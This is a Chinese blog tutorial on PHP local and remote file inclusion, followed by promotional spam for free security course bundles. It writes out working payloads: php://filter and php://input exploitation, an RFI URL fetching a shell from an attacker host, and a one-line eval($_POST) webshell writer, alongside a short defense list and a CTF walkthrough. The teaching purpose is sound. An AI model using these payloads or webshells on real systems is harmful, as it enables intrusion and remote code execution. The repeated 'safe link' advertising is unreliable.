什么是文件包含漏洞?
文件包含漏洞是PHP应用程序中常见的安全问题,当开发者使用包含函数引入文件时,如果传入的文件名参数未经严格校验,攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。
危险函数
PHP中有四个主要的文件包含函数:
include()include_once()require()require_once()
这些函数在设计上允许动态包含文件,但如果不当使用就会成为安全漏洞的源头。
文件包含漏洞类型
本地文件包含(LFI - Local File Inclusion)
攻击者能够包含并执行服务器本地的文件。
利用方式:
- 直接读取Flag文件
- 通过PHP伪协议读取源代码
- 写入PHP木马获取webshell
示例1:基础LFI
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {
include '/home/www/'.$file.'.php';
} else {
include '/home/www/'.'home.php';
}
?>
利用方法:
http://www.example.com/demo1.php?file=flag.php%00
这里使用了空字节截断技巧(%00),使得.php后缀被忽略,实际包含的是flag.php文件。
PHP伪协议利用
PHP提供了多种伪协议,可以用于文件包含攻击:
1. file:// 协议
访问本地文件系统:
http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt
2. php://filter
读取文件源代码(常用Base64编码避免直接执行):
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
3. php://input
将POST数据作为PHP代码执行(需allow_url_include=On):
POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>
远程文件包含(RFI - Remote File Inclusion)
攻击者可以包含远程服务器上的恶意文件。
必要条件:
allow_url_fopen = Onallow_url_include = On
示例2:基础RFI
<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>
利用方法:
http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?
问号后面的内容会被解释为查询字符串,从而截断原本要添加的后缀。
高级利用技巧
1. 日志文件污染
通过包含Apache或SSH日志文件,在其中注入PHP代码并执行。
2. Session文件包含
利用PHP session文件存储可控内容,然后包含session文件。
3. /proc/self/environ利用
在特定环境下,可以通过包含这个文件执行代码。
防御措施
-
白名单验证:只允许包含预定义的文件
-
禁用危险配置:```
allow_url_fopen = Off
allow_url_include = Off -
路径限制:设置
open_basedir限制文件访问范围 -
输入过滤:严格校验用户输入的文件名参数
-
避免动态包含:尽可能使用静态文件包含
实战案例
案例1:CTF题目解析
题目URL:http://level3.tasteless.eu/index.php?file=
源码:
<?php
highlight_file('index.php');
/*view file: php.ini
hint enough, might just take you seconds to do?! */
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!
$inc = @$_GET['file'];
@require_once($inc);
?>
解题步骤:
- 查看
php.ini确认配置 - 使用
php://filter读取源代码 - 分析源代码寻找flag
案例2:Webshell获取
- 准备木马文件
shell.php:
<?php fputs(fopen("shell.php", "w"), '<?php eval($_POST["xxx"])?>')?>
- 通过文件包含漏洞上传并执行
- 使用中国菜刀等工具连接webshell
文章来自网上,侵权请联系博主
互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!
题外话
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

一、2025最新网络安全学习路线
一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**!
我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。
L1级别:网络安全的基础入门
L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别:网络安全的技术进阶
L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

L3级别:网络安全的高阶提升
L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

L4级别:网络安全的项目实战
L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。
二、技术文档和经典PDF书籍
书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)


三、网络安全视频教程
对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛
学以致用 ,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。


五、网络安全工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。


面试不仅是技术的较量,更需要充分的准备。
在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。
如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…


如果二维码失效,可以点击下方👇链接去拿,一样的哦
**读者福利 |**【优快云大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!! **(安全链接,放心点击)**!


被折叠的 条评论
为什么被折叠?



